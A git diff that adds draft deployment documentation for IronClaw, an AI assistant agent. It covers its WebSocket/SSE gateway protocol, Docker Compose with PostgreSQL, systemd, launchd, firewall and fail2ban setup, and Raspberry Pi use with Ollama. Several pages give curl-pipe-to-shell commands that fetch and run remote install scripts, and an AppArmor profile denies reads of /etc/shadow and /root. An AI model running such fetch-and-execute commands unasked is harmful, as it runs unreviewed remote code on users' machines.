"user_id": "default" +} +``` + +Failed authentication: + +```json +{ + "type": "error", + "code": "auth_failed", + "message": "Invalid token" +} +``` + +--- + +### Message Types + +**Client → Server:** + +| Type | Description | Payload | +|------|-------------|---------| +| `auth` | Authenticate the connection | `{ "token": "..." }` | +| `chat` | Send a message to the agent | `{ "message": "...", "session_id": "..." }` | +| `cancel_job` | Cancel a running job | `{ "job_id": "..." }` | +| `ping` | Keepalive ping | `{}` | + +**Server → Client:** + +| Type | Description | Payload | +|------|-------------|---------| +| `auth_ok` | Authentication succeeded | `{ "user_id": "..." }` | +| `job_created` | A new job was created | `{ "job_id": "...", "status": "pending" }` | +| `job_update` | Job state changed | `{ "job_id": "...", "status": "...", "output": "..." }` | +| `job_complete` | Job finished successfully | `{ "job_id": "...", "result": "..." }` | +| `job_failed` | Job failed | `{ "job_id": "...", "error": "..." }` | +| `tool_call` | A tool is being invoked | `{ "job_id": "...", "tool": "...", "params": {} }` | +| `stream_chunk` | Partial LLM response chunk | `{ "job_id": "...", "delta": "..." }` | +| `error` | Protocol or server error | `{ "code": "...", "message": "..." }` | +| `pong` | Keepalive pong | `{}` | + +--- + +### JavaScript Example + +```javascript +const TOKEN = 'your-gateway-auth-token'; +const ws = new WebSocket('ws://localhost:3000/ws'); + +ws.onopen = () => { + // Step 1: authenticate + ws.send(JSON.stringify({ type: 'auth', token: TOKEN })); +}; + +ws.onmessage = (event) => { + const msg = JSON.parse(event.data); + + switch (msg.type) { + case 'auth_ok': + console.log('Authenticated, user:', msg.user_id); + // Step 2: send a chat message + ws.send(JSON.stringify({ + type: 'chat', + message: 'What jobs ran today?', + session_id: 'default', + })); + break; + + case 'stream_chunk': + console.log(msg.delta); // stream the response + break; + + case 'job_complete': + console.log('\nDone. Job:', msg.job_id); + break; + + case 'job_failed': + console.error('Job failed:', msg.error); + break; + + case 'error': + console.error('Error:', msg.code, msg.message); + break; + } +}; + +ws.onerror = (err) => console.error('WebSocket error:', err); +ws.onclose = (event) => console.log('Closed:', event.code, event.reason); +``` + +--- + +### Reconnection with Exponential Backoff + +WebSocket connections can drop due to network interruptions or server restarts. Implement reconnection with exponential backoff to avoid hammering the server: + +```javascript +class IronclawSocket { + constructor(url, token) { + this.url = url; + this.token = token; + this.ws = null; + this.reconnectDelay = 1000; // start at 1 second + this.maxDelay = 30000; // cap at 30 seconds + this.reconnectTimer = null; + this.connect(); + } + + connect() { + this.ws = new WebSocket(this.url); + + this.ws.onopen = () => { + this.reconnectDelay = 1000; // reset on successful connect + this.ws.send(JSON.stringify({ type: 'auth', token: this.token })); + }; + + this.ws.onmessage = (event) => { + this.onMessage(JSON.parse(event.data)); + }; + + this.ws.onclose = (event) => { + if (!event.wasClean) { + this.scheduleReconnect(); + } + }; + + this.ws.onerror = () => { + this.ws.close(); + }; + } + + scheduleReconnect() { + clearTimeout(this.reconnectTimer); + console.log(`Reconnecting in ${this.reconnectDelay / 1000}s...`); + this.reconnectTimer = setTimeout(() => { + this.reconnectDelay = Math.min(this.reconnectDelay * 2, this.maxDelay); + this.connect(); + }, this.reconnectDelay); + } + + send(msg) { + if (this.ws && this.ws.readyState === WebSocket.OPEN) { + this.ws.send(JSON.stringify(msg)); + } + } + + onMessage(msg) { + // Override in subclass or replace with your handler + console.log(msg); + } +} + +// Usage +const client = new IronclawSocket('ws://localhost:3000/ws', TOKEN); +``` + +--- + +## Server-Sent Events (SSE) + +SSE provides a unidirectional stream from the server to the client over a standard HTTP connection. It is simpler than WebSocket for read-only use cases like log tailing and event monitoring. + +### Endpoint + +``` +GET /api/logs +Accept: text/event-stream +``` + +### Authentication + +SSE uses the same bearer token in the `Authorization` header: + +```bash +curl -N \ + -H "Authorization: Bearer $TOKEN" \ + -H "Accept: text/event-stream" \ + http://localhost:3000/api/logs +``` + +### SSE Event Types + +Each SSE event has an `event` field indicating its type and a `data` field containing a JSON payload. + +| Event | Description | Data Fields | +|-------|-------------|-------------| +| `log` | A log line from the agent | `{ "level": "info", "message": "...", "module": "...", "ts": "..." }` | +| `job_status` | Job state changed | `{ "job_id": "...", "status": "...", "ts": "..." }` | +| `routine_fired` | A routine was triggered and executed | `{ "routine_id": "...", "name": "...", "ts": "..." }` | +| `heartbeat` | Proactive heartbeat executed | `{ "findings": true, "summary": "...", "ts": "..." }` | +| `tool_call` | A tool was invoked | `{ "job_id": "...", "tool": "...", "ts": "..." }` | +| `error` | Server-side error in the stream | `{ "code": "...", "message": "..." }` | + +### Example SSE Stream + +``` +event: log +data: {"level":"info","message":"Job job_01j9abc123 started","module":"ironclaw::agent","ts":"2024-01-15T10:30:00Z"} + +event: tool_call +data: {"job_id":"job_01j9abc123","tool":"memory_search","ts":"2024-01-15T10:30:01Z"} + +event: job_status +data: {"job_id":"job_01j9abc123","status":"completed","ts":"2024-01-15T10:30:03Z"} + +event: heartbeat +data: {"findings":true,"summary":"3 pending items in checklist","ts":"2024-01-15T10:30:00Z"} +``` + +### JavaScript SSE Example + +```javascript +const evtSource = new EventSource( + 'http://localhost:3000/api/logs', + { + // EventSource doesn't support custom headers natively in browsers. + // Use a token query parameter as an alternative: + // 'http://localhost:3000/api/logs?token=...' + // Or use fetch with ReadableStream for header support (see below). + } +); + +evtSource.addEventListener('log', (event) => { + const data = JSON.parse(event.data); + console.log(`[${data.level.toUpperCase()}] ${data.message}`); +}); + +evtSource.addEventListener('job_status', (event) => { + const data = JSON.parse(event.data); + console.log(`Job ${data.job_id} → ${data.status}`); +}); + +evtSource.addEventListener('heartbeat', (event) => { + const data = JSON.parse(event.data); + if (data.findings) console.warn('Heartbeat findings:', data.summary); +}); + +evtSource.onerror = () => { + console.error('SSE connection lost, browser will auto-reconnect'); +}; +``` + +### SSE with Fetch (Header Authentication) + +The native `EventSource` API does not support custom headers. Use `fetch` with a `ReadableStream` for full header control: + +```javascript +async function streamLogs(token) { + const response = await fetch('http://localhost:3000/api/logs', { + headers: { + 'Authorization': `Bearer ${token}`, + 'Accept': 'text/event-stream', + }, + }); + + const reader = response.body.getReader(); + const decoder = new TextDecoder(); + let buffer = ''; + + while (true) { + const { done, value } = await reader.read(); + if (done) break; + + buffer += decoder.decode(value, { stream: true }); + const lines = buffer.split('\n'); + buffer = lines.pop(); // keep incomplete line + + for (const line of lines) { + if (line.startsWith('data: ')) { + const data = JSON.parse(line.slice(6)); + console.log(data); + } + } + } +} +``` + +--- + +## Reverse Proxy Configuration for WebSocket + +WebSocket connections require specific proxy headers. Without them, the connection upgrade will fail. + +### nginx + +```nginx +location /ws { + proxy_pass http://127.0.0.1:3000/ws; + proxy_http_version 1.1; + + # Required for WebSocket upgrade + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + + # Keep connections alive + proxy_read_timeout 86400s; + proxy_send_timeout 86400s; + keepalive_timeout 86400s; +} + +location /api/logs { + proxy_pass http://127.0.0.1:3000/api/logs; + proxy_http_version 1.1; + + # Required for SSE + proxy_set_header Connection ""; + proxy_buffering off; + proxy_cache off; + proxy_read_timeout 86400s; + chunked_transfer_encoding on; +} +``` + +### Caddy + +Caddy handles WebSocket and SSE automatically — no special configuration needed. The `reverse_proxy` directive transparently proxies both protocols. + +--- + +## Next Steps + + + + All 40+ REST endpoints including jobs, memory, and routines + + + RUST_LOG levels and structured log output + + + nginx and Caddy reverse proxy configuration with TLS + + diff --git a/docs/drafts/platforms/docker-compose.mdx b/docs/drafts/platforms/docker-compose.mdx new file mode 100644 index 0000000000..f84d0e123f --- /dev/null +++ b/docs/drafts/platforms/docker-compose.mdx @@ -0,0 +1,305 @@ +--- +title: Docker Compose +sidebarTitle: Docker Compose +description: Production Docker Compose deployment with PostgreSQL and volumes +--- + +This page covers a production Docker Compose setup for IronClaw with PostgreSQL, named volumes, and health checks. Use this when you want a fully containerized, self-contained deployment that is easy to back up and migrate. + + +This is for running IronClaw itself inside Docker Compose alongside PostgreSQL. This is separate from IronClaw's Docker sandbox feature, which launches containers for job isolation. Both can coexist — see the Docker-in-Docker section below. + + +--- + +## docker-compose.yml + +Save this as `docker-compose.yml` in your deployment directory (e.g., `/opt/ironclaw/`): + +```yaml +version: "3.9" + +services: + ironclaw: + image: nearai/ironclaw:latest + container_name: ironclaw + restart: unless-stopped + env_file: + - .env + volumes: + # Persistent IronClaw data (skills, installed extensions, workspace files) + - ironclaw_data:/home/ironclaw/.ironclaw + # OPTIONAL: Docker socket for sandbox job execution (Docker-in-Docker sibling containers). + # Enabling this grants the container control over the host Docker daemon; uncomment only if required. + # - /var/run/docker.sock:/var/run/docker.sock + ports: + # Web Gateway — bind to localhost only, expose via reverse proxy + - "127.0.0.1:3000:3000" + # HTTP Webhook channel + - "127.0.0.1:8080:8080" + depends_on: + postgres: + condition: service_healthy + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:3000/api/health"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 15s + networks: + - ironclaw_net + logging: + driver: "json-file" + options: + max-size: "50m" + max-file: "5" + + postgres: + image: pgvector/pgvector:pg16 + container_name: ironclaw-postgres + restart: unless-stopped + environment: + POSTGRES_DB: ironclaw + POSTGRES_USER: ironclaw + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + PGDATA: /var/lib/postgresql/data/pgdata + volumes: + - postgres_data:/var/lib/postgresql/data + expose: + # Only expose to internal network — never bind to host + - "5432" + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ironclaw -d ironclaw"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 10s + networks: + - ironclaw_net + logging: + driver: "json-file" + options: + max-size: "20m" + max-file: "3" + +volumes: + ironclaw_data: + driver: local + postgres_data: + driver: local + +networks: + ironclaw_net: + driver: bridge + internal: false # Set to true if you want to block all external network access from containers +``` + +--- + +## .env File + +Create `.env` in the same directory as `docker-compose.yml`: + +```bash +# ─── Database ───────────────────────────────────────────────────────────────── +DATABASE_BACKEND=postgres +DATABASE_URL=postgres://ironclaw:change_this_to_a_strong_password@postgres:5432/ironclaw +POSTGRES_PASSWORD=change_this_to_a_strong_password # Must match password in DATABASE_URL + +# ─── LLM Provider ───────────────────────────────────────────────────────────── +LLM_BACKEND=nearai +NEARAI_SESSION_TOKEN=sess_xxx +NEARAI_MODEL=claude-3-5-sonnet-20241022 +# Or use Anthropic directly: +# LLM_BACKEND=anthropic +# ANTHROPIC_API_KEY=sk-ant-xxx + +# ─── Web Gateway ────────────────────────────────────────────────────────────── +GATEWAY_ENABLED=true +GATEWAY_HOST=0.0.0.0 +GATEWAY_PORT=3000 +GATEWAY_AUTH_TOKEN=change_this_to_a_random_64_char_secret + +# ─── HTTP Webhook ───────────────────────────────────────────────────────────── +HTTP_ENABLED=false +HTTP_PORT=8080 +HTTP_WEBHOOK_SECRET=change_this_too + +# ─── Embeddings ─────────────────────────────────────────────────────────────── +EMBEDDING_ENABLED=true +OPENAI_API_KEY=sk-xxx +EMBEDDING_MODEL=text-embedding-3-small + +# ─── Docker Sandbox ─────────────────────────────────────────────────────────── +SANDBOX_ENABLED=true +SANDBOX_IMAGE=ironclaw-worker:latest +SANDBOX_MEMORY_LIMIT_MB=512 +SANDBOX_TIMEOUT_SECS=1800 +SANDBOX_CPU_LIMIT=1.0 +SANDBOX_NETWORK_PROXY=true +SANDBOX_PROXY_PORT=8081 +SANDBOX_DEFAULT_POLICY=workspace_write + +# ─── Skills ─────────────────────────────────────────────────────────────────── +SKILLS_ENABLED=true +SKILLS_CATALOG_URL=https://clawhub.dev + +# ─── Routines ───────────────────────────────────────────────────────────────── +ROUTINES_ENABLED=true +ROUTINES_CRON_INTERVAL=60 + +# ─── Heartbeat ──────────────────────────────────────────────────────────────── +HEARTBEAT_ENABLED=true +HEARTBEAT_INTERVAL_SECS=1800 +HEARTBEAT_NOTIFY_CHANNEL=web + +# ─── Logging ────────────────────────────────────────────────────────────────── +RUST_LOG=ironclaw=info,tower_http=warn +``` + + +Never commit `.env` to version control. Add `.env` to your `.gitignore`. Rotate `GATEWAY_AUTH_TOKEN` and `POSTGRES_PASSWORD` after deployment. + + +--- + +## Deploy + +```bash +# Start all services +docker compose up -d + +# Check status +docker compose ps + +# Expected output: +# NAME STATUS PORTS +# ironclaw running 127.0.0.1:3000->3000/tcp +# ironclaw-postgres running (healthy) +``` + +--- + +## Logs + +```bash +# All services +docker compose logs -f + +# IronClaw only +docker compose logs -f ironclaw + +# Postgres only +docker compose logs -f postgres + +# Last 100 lines +docker compose logs --tail=100 ironclaw +``` + +--- + +## Updates + +```bash +# Pull latest images +docker compose pull + +# Recreate containers with new images (zero-downtime for postgres; brief downtime for ironclaw) +docker compose up -d --no-deps ironclaw + +# Or restart everything +docker compose up -d +``` + +--- + +## Backups + +### PostgreSQL Database Backup + +```bash +# Dump to file +docker compose exec postgres pg_dump \ + -U ironclaw \ + -d ironclaw \ + --format=custom \ + --compress=9 \ + > backup-$(date +%Y%m%d-%H%M%S).dump + +# Restore from dump +docker compose exec -T postgres pg_restore \ + -U ironclaw \ + -d ironclaw \ + --clean \ + --if-exists \ + < backup-20240101-120000.dump +``` + +### Volume Backup + +```bash +# Discover the ironclaw_data volume name (project prefix may vary) +# This picks the first volume whose name contains "ironclaw_data" + +VOLUME_NAME=$(docker volume ls -q --filter name='ironclaw_data' | head -n 1) + +# Back up ironclaw_data volume (workspace, skills, config) +docker run --rm \ + -v "${VOLUME_NAME}":/source:ro \ + -v "$(pwd)"/backups:/dest \ + alpine tar czf /dest/ironclaw-data-$(date +%Y%m%d).tar.gz -C /source . + +# Restore +docker run --rm \ + -v "${VOLUME_NAME}":/dest \ + -v "$(pwd)"/backups:/source:ro \ + alpine tar xzf /source/ironclaw-data-20240101.tar.gz -C /dest +``` + +--- + +## Docker-in-Docker for Sandbox + +IronClaw can launch Docker sandbox containers even when running inside Docker itself. This works by mounting the host Docker socket (`/var/run/docker.sock`). The sandbox containers become siblings on the host, not children of the IronClaw container. + +To enable this, add the following mount to your `docker-compose.yml` (inside the IronClaw service): + +```yaml +volumes: + - /var/run/docker.sock:/var/run/docker.sock +``` + + +Mounting the Docker socket gives IronClaw the ability to create and manage containers on the host. This is equivalent to root access on the host system. Only mount the socket if you trust the IronClaw process and have configured `SANDBOX_ENABLED=true` intentionally. + + +--- + +## Stopping and Removing + +```bash +# Stop containers (preserve volumes) +docker compose down + +# Stop and remove volumes (destructive — deletes all data) +docker compose down -v + +# Remove images +docker compose down --rmi all +``` + +--- + +## Next Steps + + + + Caddy, UFW, fail2ban, and SSH hardening + + + Web Gateway endpoint reference + + + Full environment variable reference + + diff --git a/docs/drafts/platforms/linux.mdx b/docs/drafts/platforms/linux.mdx new file mode 100644 index 0000000000..282004ff5f --- /dev/null +++ b/docs/drafts/platforms/linux.mdx @@ -0,0 +1,321 @@ +--- +title: Linux +sidebarTitle: Linux +description: Running IronClaw on Linux with systemd, GNOME Keyring, and UFW +--- + +IronClaw runs natively on Linux with full support for systemd service management, GNOME Keyring for secure key storage, and UFW/fail2ban for host hardening. + +## Installation + +### Shell Script (Recommended) + +```bash +curl -fsSL https://install.ironclaw.ai | bash +``` + +Installs to `~/.local/bin/ironclaw`. Add to PATH if not already present: + +```bash +export PATH="$HOME/.local/bin:$PATH" +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc +``` + +### Package Manager (Ubuntu / Debian) + +```bash +curl -fsSL https://repo.ironclaw.ai/gpg | sudo gpg --dearmor -o /usr/share/keyrings/ironclaw.gpg +echo "deb [signed-by=/usr/share/keyrings/ironclaw.gpg] https://repo.ironclaw.ai stable main" \ + | sudo tee /etc/apt/sources.list.d/ironclaw.list + +sudo apt update && sudo apt install ironclaw +``` + +### Cargo (Build from Source) + +```bash +cargo install ironclaw +``` + +Requires Rust 1.78+. Install Rust via [rustup.rs](https://rustup.rs). + +--- + +## systemd Service + +Run IronClaw as a managed background service that restarts on failure and launches on boot. + +### Unit File + +Create `/etc/systemd/system/ironclaw.service`: + +```ini +[Unit] +Description=IronClaw AI Assistant +Documentation=https://docs.ironclaw.ai +After=network-online.target +Wants=network-online.target + +[Service] +Type=simple +User=ironclaw +Group=ironclaw +EnvironmentFile=/etc/ironclaw/ironclaw.env +ExecStart=/usr/local/bin/ironclaw run +ExecReload=/bin/kill -HUP $MAINPID +Restart=on-failure +RestartSec=5s +TimeoutStopSec=30s + +# Security hardening +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=read-only +ReadWritePaths=/var/lib/ironclaw /home/ironclaw/.ironclaw + +# Logging +StandardOutput=journal +StandardError=journal +SyslogIdentifier=ironclaw + +[Install] +WantedBy=multi-user.target +``` + +### Environment File + +Create `/etc/ironclaw/ironclaw.env` (mode 640, owned by root:ironclaw): + +```bash +sudo mkdir -p /etc/ironclaw +sudo touch /etc/ironclaw/ironclaw.env +sudo chmod 640 /etc/ironclaw/ironclaw.env +sudo chown root:ironclaw /etc/ironclaw/ironclaw.env +``` + +Example contents: + +```bash +DATABASE_BACKEND=libsql +LLM_BACKEND=nearai +NEARAI_SESSION_TOKEN=sess_xxx +GATEWAY_ENABLED=true +GATEWAY_HOST=127.0.0.1 +GATEWAY_PORT=3000 +GATEWAY_AUTH_TOKEN=change_this_to_a_random_secret +RUST_LOG=ironclaw=info +``` + +### Enable and Start + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now ironclaw + +# Verify +sudo systemctl status ironclaw +``` + +--- + +## GNOME Keyring Integration + +IronClaw uses the system keyring to store the encryption master key for secrets. On GNOME-based desktops, this is GNOME Keyring. + +### Install libsecret + +```bash +# Ubuntu / Debian +sudo apt install gnome-keyring libsecret-tools + +# Fedora +sudo dnf install gnome-keyring libsecret + +# Arch +sudo pacman -S gnome-keyring libsecret +``` + +### Store the Master Key Manually (optional) + +IronClaw handles this automatically on first run, but you can pre-seed the key: + +```bash +secret-tool store \ + --label="IronClaw Master Key" \ + application ironclaw \ + key master +``` + +Retrieve it later: + +```bash +secret-tool lookup application ironclaw key master +``` + +### Headless / Server Environments + +GNOME Keyring requires a D-Bus session. On headless servers, use the environment variable fallback instead: + +```bash +IRONCLAW_MASTER_KEY= +``` + +Generate a secure key: + +```bash +openssl rand -base64 32 +``` + + +The environment variable approach exposes the key in process listings. Use the keyring on desktop systems. On servers, prefer a secrets manager (Vault, AWS Secrets Manager) and inject at startup. + + +--- + +## UFW Firewall Rules + +Restrict access to the Web Gateway so only local processes can reach it. + +```bash +# Allow SSH (do this first to avoid locking yourself out) +sudo ufw allow 22/tcp + +# Block port 3000 from external access +sudo ufw deny in on eth0 to any port 3000 + +# If you need access from a specific trusted IP only +# sudo ufw allow from 192.168.1.100 to any port 3000 + +# Enable UFW +sudo ufw enable +sudo ufw status verbose +``` + + +If you expose IronClaw via a reverse proxy (Caddy, nginx), the proxy listens on 443 and forwards to 127.0.0.1:3000 internally. Port 3000 never needs to be public-facing. See [VPS Hardening](/platforms/vps) for the full reverse proxy setup. + + +--- + +## fail2ban Configuration + +Protect against repeated authentication failures against the Web Gateway. + +Create `/etc/fail2ban/filter.d/ironclaw.conf`: + +```ini +[Definition] +failregex = ^.*401 Unauthorized.*from .*$ + ^.*auth.*failed.*.*$ +ignoreregex = +``` + +Create `/etc/fail2ban/jail.d/ironclaw.conf`: + +```ini +[ironclaw] +enabled = true +port = 3000 +filter = ironclaw +logpath = /var/log/ironclaw/access.log +maxretry = 5 +bantime = 3600 +findtime = 600 +action = ufw +``` + +Reload fail2ban: + +```bash +sudo systemctl reload fail2ban +sudo fail2ban-client status ironclaw +``` + +--- + +## Viewing Logs + +```bash +# Follow live logs +journalctl -u ironclaw -f + +# Last 100 lines +journalctl -u ironclaw -n 100 + +# Logs from the past hour +journalctl -u ironclaw --since "1 hour ago" + +# With debug output (set RUST_LOG=ironclaw=debug in env file first) +journalctl -u ironclaw -f --output=short-precise + +# Export to file +journalctl -u ironclaw --since today > ironclaw-today.log +``` + +--- + +## AppArmor Profile (Optional) + +An AppArmor profile can constrain IronClaw's filesystem and network access at the kernel level. + +Create `/etc/apparmor.d/usr.local.bin.ironclaw`: + +``` +#include + +/usr/local/bin/ironclaw { + #include + #include + + # Binary + /usr/local/bin/ironclaw mr, + + # Config and data + /home/ironclaw/.ironclaw/** rw, + /var/lib/ironclaw/** rw, + /etc/ironclaw/ironclaw.env r, + + # Keyring + /run/user/*/keyring/** rw, + + # Docker socket (for sandbox) + /var/run/docker.sock rw, + + # Network + network tcp, + network udp, + + # Deny everything else + deny /etc/shadow r, + deny /root/** rw, +} +``` + +Load the profile: + +```bash +sudo apparmor_parser -r /etc/apparmor.d/usr.local.bin.ironclaw +sudo aa-status | grep ironclaw +``` + + +The AppArmor profile is optional. IronClaw's own sandbox (Docker containers with dropped capabilities) provides defense-in-depth regardless of whether AppArmor is configured. + + +--- + +## Next Steps + + + + UFW, Caddy, fail2ban, and SSH hardening for public-facing deployments + + + Production deployment with PostgreSQL and named volumes + + + RUST_LOG levels, journalctl, and cost tracking + + diff --git a/docs/drafts/platforms/macos.mdx b/docs/drafts/platforms/macos.mdx new file mode 100644 index 0000000000..0fbaf2cd0d --- /dev/null +++ b/docs/drafts/platforms/macos.mdx @@ -0,0 +1,279 @@ +--- +title: macOS +sidebarTitle: macOS +description: Running IronClaw on macOS with Homebrew, Keychain, and launchd +--- + +IronClaw supports macOS natively with Homebrew installation, macOS Keychain for secure key storage, and launchd for background service management. + +--- + +## Installation + +### Homebrew (Recommended) + +```bash +# Add the IronClaw tap +brew tap ironclaw-ai/tap + +# Install IronClaw +brew install ironclaw +``` + +### Shell Script + +```bash +curl -fsSL https://install.ironclaw.ai | bash +``` + +Installs to `~/.local/bin/ironclaw`. Add to PATH: + +```bash +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc +source ~/.zshrc +``` + +### Cargo (Build from Source) + +```bash +# Install Rust if needed +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh + +# Build and install +cargo install ironclaw +``` + +### Verify Installation + +```bash +ironclaw --version +ironclaw doctor +``` + +--- + +## First Launch: Gatekeeper + +macOS Gatekeeper may block the binary on first launch if it was downloaded directly rather than installed through Homebrew. + +**To allow it:** + +1. Right-click `ironclaw` in Finder and choose **Open** +2. Click **Open** in the security dialog + +Or via the terminal: + +```bash +xattr -d com.apple.quarantine ~/.local/bin/ironclaw +``` + + +Binaries installed via `brew install ironclaw` are automatically notarized and will not trigger the Gatekeeper warning. + + +--- + +## macOS Keychain Integration + +IronClaw stores its encryption master key in the macOS Keychain. This keeps the key off disk and protected by your login password and Touch ID. + +### First Run Dialogs + +On first run you will see two system dialogs: + +1. **"Enter your password to unlock the login keychain"** — Unlock the keychain to read/write items. Enter your macOS login password. +2. **"ironclaw wants to use your confidential information stored in 'IronClaw Master Key' in your keychain"** — Click **Always Allow** to prevent repeated prompts on future launches. + + +Clicking **Allow** instead of **Always Allow** causes this dialog to appear on every launch. Choose **Always Allow** the first time to avoid repeated interruptions. + + +### Managing the Keychain Entry + +View the entry in Keychain Access (open via Spotlight: `keychain access`): +- Category: **Passwords** +- Name: `IronClaw Master Key` +- Account: `ironclaw` + +To delete and regenerate the master key (this invalidates all stored secrets): + +```bash +security delete-generic-password -a ironclaw -s "IronClaw Master Key" +ironclaw onboard # Re-run wizard to generate a new key +``` + +### Headless / CI Environments + +For non-interactive macOS environments (CI, build machines), use the environment variable fallback: + +```bash +export IRONCLAW_MASTER_KEY=$(openssl rand -base64 32) +``` + +--- + +## launchd Service + +launchd is the macOS equivalent of systemd. It manages background services and can restart IronClaw automatically on failure or system reboot. + +### User-Level Service (Recommended) + +Create `~/Library/LaunchAgents/ai.ironclaw.plist`: + +```xml + + + + + Label + ai.ironclaw + + ProgramArguments + + /usr/local/bin/ironclaw + run + + + EnvironmentVariables + + DATABASE_BACKEND + libsql + LLM_BACKEND + nearai + GATEWAY_ENABLED + true + GATEWAY_HOST + 127.0.0.1 + GATEWAY_PORT + 3000 + RUST_LOG + ironclaw=info + + + RunAtLoad + + + KeepAlive + + Crashed + + SuccessfulExit + + + + StandardOutPath + /tmp/ironclaw.stdout.log + + StandardErrorPath + /tmp/ironclaw.stderr.log + + WorkingDirectory + /Users/YOUR_USERNAME + + +``` + +Replace `YOUR_USERNAME` with your actual macOS username (`whoami`). + + +Sensitive values (API keys, auth tokens) should not be placed in the plist directly since it is a plain text file. Store them in the Keychain and have IronClaw read them at startup, or use `launchctl setenv` to inject them at runtime. + + +### Load and Manage the Service + +```bash +# Load the service (starts immediately due to RunAtLoad) +launchctl load ~/Library/LaunchAgents/ai.ironclaw.plist + +# Unload (stop and disable) +launchctl unload ~/Library/LaunchAgents/ai.ironclaw.plist + +# Reload after editing the plist +launchctl unload ~/Library/LaunchAgents/ai.ironclaw.plist +launchctl load ~/Library/LaunchAgents/ai.ironclaw.plist + +# Check status +launchctl list | grep ironclaw + +# Start / stop manually +launchctl start ai.ironclaw +launchctl stop ai.ironclaw +``` + +### Homebrew Services (Alternative) + +If installed via Homebrew: + +```bash +# Start now and on login +brew services start ironclaw + +# Stop +brew services stop ironclaw + +# Restart +brew services restart ironclaw + +# View status +brew services list | grep ironclaw +``` + +--- + +## Docker Desktop for macOS + +The Docker sandbox requires Docker. On macOS, use [Docker Desktop](https://www.docker.com/products/docker-desktop/). + +### Install Docker Desktop + +1. Download from [docker.com/products/docker-desktop](https://www.docker.com/products/docker-desktop/) +2. Drag to Applications and open +3. Complete the setup wizard +4. Verify: `docker run --rm hello-world` + +### Resource Limits + +Docker Desktop runs inside a Linux VM on macOS. Configure the VM resource allocation in **Docker Desktop → Settings → Resources**: + +| Setting | Minimum | Recommended | +|---------|---------|-------------| +| CPUs | 2 | 4 | +| Memory | 4 GB | 8 GB | +| Disk | 20 GB | 40 GB | + + +Docker on macOS has more overhead than native Linux due to the VM layer. Sandbox container startup is typically 1-3 seconds slower than on Linux. This is expected behavior. + + +--- + +## Viewing Logs + +```bash +# Stream logs in real time (unified log) +log stream --predicate 'process == "ironclaw"' --level info + +# Show recent messages +log show --predicate 'process == "ironclaw"' --last 1h + +# View launchd stdout/stderr files +tail -f /tmp/ironclaw.stdout.log +tail -f /tmp/ironclaw.stderr.log +``` + +--- + +## Next Steps + + + + Securing IronClaw on a public-facing server + + + Production Docker Compose with PostgreSQL + + + RUST_LOG levels and log streaming + + diff --git a/docs/drafts/platforms/raspberry-pi.mdx b/docs/drafts/platforms/raspberry-pi.mdx new file mode 100644 index 0000000000..79dd9fcd8a --- /dev/null +++ b/docs/drafts/platforms/raspberry-pi.mdx @@ -0,0 +1,328 @@ +--- +title: Raspberry Pi +sidebarTitle: Raspberry Pi +description: Running IronClaw on Raspberry Pi with ARM64 and local inference +--- + +IronClaw runs well on Raspberry Pi 4 and Pi 5 with a 64-bit OS. Pair it with Ollama for fully local inference — no cloud dependency, no API keys required. + + +Raspberry Pi 4 (4 GB RAM) and Pi 5 (4/8 GB) are the recommended hardware. Pi 3 and earlier models lack sufficient memory for comfortable operation. A 64-bit OS (Raspberry Pi OS 64-bit or Ubuntu 22.04 ARM64) is required. + + +--- + +## Hardware Requirements + +| Component | Minimum | Recommended | +|-----------|---------|-------------| +| Model | Raspberry Pi 4 (4 GB) | Raspberry Pi 5 (8 GB) | +| OS | Raspberry Pi OS 64-bit | Ubuntu 22.04 LTS ARM64 | +| Storage | 16 GB microSD | 32 GB+ microSD or USB SSD | +| RAM | 4 GB | 8 GB | +| Swap | 2 GB | 4 GB | + +--- + +## Installation + +### Shell Script + +```bash +curl -fsSL https://install.ironclaw.ai | bash +``` + +This downloads the ARM64 binary automatically. Add to PATH: + +```bash +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc +``` + +### Verify the Architecture + +```bash +uname -m # Should print: aarch64 +ironclaw --version +``` + +--- + +## Recommended Configuration + +The libSQL backend is strongly recommended for Raspberry Pi — it requires no separate database server and runs embedded in the IronClaw process. + +Create `~/.ironclaw/.env`: + +```bash +# Database: embedded SQLite (no server needed) +DATABASE_BACKEND=libsql +LIBSQL_PATH=~/.ironclaw/ironclaw.db + +# LLM: local Ollama inference +LLM_BACKEND=ollama +OLLAMA_BASE_URL=http://127.0.0.1:11434 +OLLAMA_MODEL=llama3.2:3b + +# Web Gateway +GATEWAY_ENABLED=true +GATEWAY_HOST=127.0.0.1 +GATEWAY_PORT=3000 +GATEWAY_AUTH_TOKEN=change_this_to_a_random_secret + +# Embeddings: disable if RAM-constrained +EMBEDDING_ENABLED=false + +# Docker sandbox: optional, disable to save resources +SANDBOX_ENABLED=false + +# Routines +ROUTINES_ENABLED=true +``` + +--- + +## Ollama for Local Inference + +Ollama runs language models entirely on the Pi. No data leaves the device. + +### Install Ollama + +```bash +curl -fsSL https://ollama.ai/install.sh | sh +``` + +### Pull a Model + + + + Use a 3B parameter model that fits comfortably: + + ```bash + ollama pull llama3.2:3b + ``` + + This model uses ~2 GB RAM and leaves headroom for the OS and IronClaw. + + + + You can run a larger model with better quality: + + ```bash + # 7B quantized — good quality, fits in 8 GB + ollama pull llama3.1:8b-instruct-q4_K_M + + # Or Mistral 7B + ollama pull mistral:7b-instruct-q4_K_M + ``` + + + +### Verify Ollama is Running + +```bash +# Start Ollama service +sudo systemctl enable --now ollama + +# Test a completion +curl http://127.0.0.1:11434/api/chat -d '{ + "model": "llama3.2:3b", + "messages": [{"role": "user", "content": "Hello"}], + "stream": false +}' +``` + +### IronClaw Configuration for Ollama + +```bash +LLM_BACKEND=ollama +OLLAMA_BASE_URL=http://127.0.0.1:11434 +OLLAMA_MODEL=llama3.2:3b +``` + +--- + +## Memory and Swap + +The Pi's limited RAM makes swap configuration important. + +### Check Current Swap + +```bash +free -h 